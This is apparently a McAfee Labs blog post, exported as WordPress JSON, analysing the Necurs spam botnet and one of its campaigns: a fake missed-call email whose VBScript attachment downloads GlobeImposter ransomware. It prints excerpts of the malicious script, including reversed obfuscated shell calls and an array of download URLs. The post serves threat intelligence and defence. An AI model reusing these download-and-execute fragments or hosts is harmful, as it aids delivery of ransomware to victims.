{"id":84973,"date":"2018-03-11T21:03:39","date_gmt":"2018-03-12T04:03:39","guid":{"rendered":"https:\/\/securingtomorrow.mcafee.com\/?p=84973"},"modified":"2025-06-02T23:23:20","modified_gmt":"2025-06-03T06:23:20","slug":"necurs-botnet-leads-the-world-in-sending-spam-traffic","status":"publish","type":"post","link":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/necurs-botnet-leads-the-world-in-sending-spam-traffic\/","title":{"rendered":"Necurs Botnet Leads the World in Sending Spam Traffic"},"content":{"rendered":"<p>In Q4 2017 we found that the Necurs and Gamut botnets comprised 97% of spam botnet traffic. (See the <em><a href=\"https:\/\/www.mcafee.com\/common\/js\/asset_redirect.html?utm_campaign=TI_ML_18Q1&amp;utm_source=mcAfeeblog&amp;utm_medium=organic&amp;eid=18TI_MLGLQ1_WP_SO_ST-2&amp;elqCampaignId=23463&amp;url=https:\/\/www.mcafee.com\/us\/resources\/reports\/rp-quarterly-threats-mar-2018.pdf\" target=\"_blank\" rel=\"noopener\">McAfee Labs Threats Report, March 2018<\/a>.)<\/em> Necurs (at 60%) is currently the world\u2019s largest spam botnet. The infected computers operate in a peer-to-peer model, with limited communication between the nodes and the control servers. Cybercriminals can rent access to the botnet to spread their own malicious campaigns.<\/p>\n<p>The most common techniques are email attachments with macros or JavaScript to download malware from different locations. In October, the Locky ransomware campaign used Microsoft\u2019s Dynamic Data Exchange to lure victims into \u201cupdating\u201d the attached document with data from linked files\u2014external links that delivered the malware.<\/p>\n<p>In Q4 we noticed several botnet campaigns delivering the following payloads:<\/p>\n<ul>\n<li>GlobeImposter ransomware<\/li>\n<li>Locky ransomware<\/li>\n<li>Scarab ransomware<\/li>\n<li>Dridex banking Trojan<\/li>\n<\/ul>\n<h2>A timeline:<\/h2>\n<p>Let\u2019s zoom in on one of the campaigns from the Necurs botnet. In the following example, an email automatically sent from a VOIP system informs the victim of a missed call. The email contains an attachment, a Visual Basic script.<\/p>\n<p>In this case, the name is \u201cOutside Caller 19-12-2017 [random nr].\u201d Here is some of the script code:<\/p>\n<pre><strong>Execute \"Sub Aodunnecessarilybusinesslike(strr):ZabiT.Savetofile writenopopbusinesslikeInPlaceOf , 2 : End Sub\"<\/strong>\r\n\r\n<strong>Disaster = \"\/\/21+12:ptth21+12ex\"+\"e.eUtaLHpbP\\21+12elifotevas21+12ydoBes\"+\"nopser21+12etirw21+12nepo21+12epyT21+12PmeT21+12TeG21+12ssecorP21+12llehs.tpircsW21+12noitacilppA.llehs21+12\" &amp; \"\"<\/strong><strong>\u00a0<\/strong><\/pre>\n<p>&nbsp;<\/p>\n<p>This piece of code makes sure that the embedded code will be saved to a file. Note the second line of code: It is backward and calls the Windows script shell to execute the code. The following code string ensures that the backward line is read properly:<\/p>\n<pre><strong>SudForMake = Split(\"Microsoft.XMLHTTP21+12Adodb.streaM\"+StrReverse(Disaster),\u00a0 \"21+12\")<\/strong><\/pre>\n<p>&nbsp;<\/p>\n<p>The following line starts the saved code:<\/p>\n<pre><strong>writenopopbusinesslikeMacAttack.Run(\"cmd.\"&amp;\"exe \/c START \"\"\"\" \"+\" \" &amp; ArrArr )<\/strong><strong>\u00a0<\/strong><\/pre>\n<p>&nbsp;<\/p>\n<p>Once the executable is started, it attempts to download the ransomware from the embedded URLs in the code:<strong>\u00a0<\/strong><\/p>\n<pre><strong>krapivec = Array(\"littleblessingscotons.com\/jdh673hk?\",\"smarterbaby.com\/jdh673hk?\",\"ragazzemessenger.com\/jdh673hk?\")<\/strong><strong>\u00a0<\/strong><\/pre>\n<p>&nbsp;<\/p>\n<p>The malware downloaded and executed is GlobeImposter ransomware. After encrypting all files and deleting the Volume Shadow copies to block file restore, the user is prompted with the request to buy the decryptor:<\/p>\n<p>&nbsp;<\/p>\n<p>Spam botnets are one of the pillars of the cybercrime business. The authors of these botnets understand their market value and spend their rental income on continuous development. Their work keeps the infrastructure running, creates ever-changing spam messages, and delivers these messages to your inbox\u2014with many avoiding spam blockers. This cybercrime effort should inspire your organization to discuss the implementation of DMARC (domain-based message authentication, reporting &amp; conformance). To learn more about how DMARC can help protect against this kind of threat, visit <a href=\"https:\/\/dmarc.org\/wiki\/FAQ#Why_is_DMARC_important.3F\" target=\"_blank\" rel=\"noopener\">dmarc.org.<\/a> For more on Necurs, see the <em>McAfee Labs Threats Report, June 2017.<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In Q4 2017 we found that the Necurs and Gamut botnets comprised 97% of spam botnet traffic. (See the McAfee&#8230;<\/p>\n","protected":false},"author":653,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[442],"tags":[5423,49,76,180,4140,4549],"coauthors":[3576],"class_list":["post-84973","post","type-post","status-publish","format-standard","hentry","category-mcafee-labs","tag-atr","tag-botnet","tag-cybercrime","tag-malware","tag-quarterly-threats-report","tag-ransomware"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Necurs Botnet Leads the World in Sending Spam Traffic | McAfee Blog<\/title>\n<meta name=\"description\" content=\"In Q4 2017 we found that the Necurs and Gamut botnets comprised 97% of spam botnet traffic. (See the McAfee Labs Threats Report, March 2018.) Necurs (at\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Necurs Botnet Leads the World in Sending Spam Traffic | McAfee Blog\" \/>\n<meta property=\"og:description\" content=\"In Q4 2017 we found that the Necurs and Gamut botnets comprised 97% of spam botnet traffic. (See the McAfee Labs Threats Report, March 2018.) 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He is leading the strategic threat intelligence research with a focus on inventing new technology, research techniques and models. Visionary and serving leadership is at the core of his day-to-day job, getting the best out of people and collaborate to make the (cyber) world safer and a better place. In previous roles, Beek was Director of Threat Intelligence in McAfee Labs and Director of Incident Response and Forensics at Foundstone, McAfee\u2019s forensic services arm. At Foundstone, he led a team of forensic specialists in Europe, the Middle East, and Africa during major breaches. Beek develops threat intelligence strategy, designs and envision threat intelligence systems and new research techniques. Christiaan speaks regularly at conferences, including BlackHat, RSA, BlueHat and Botconf. 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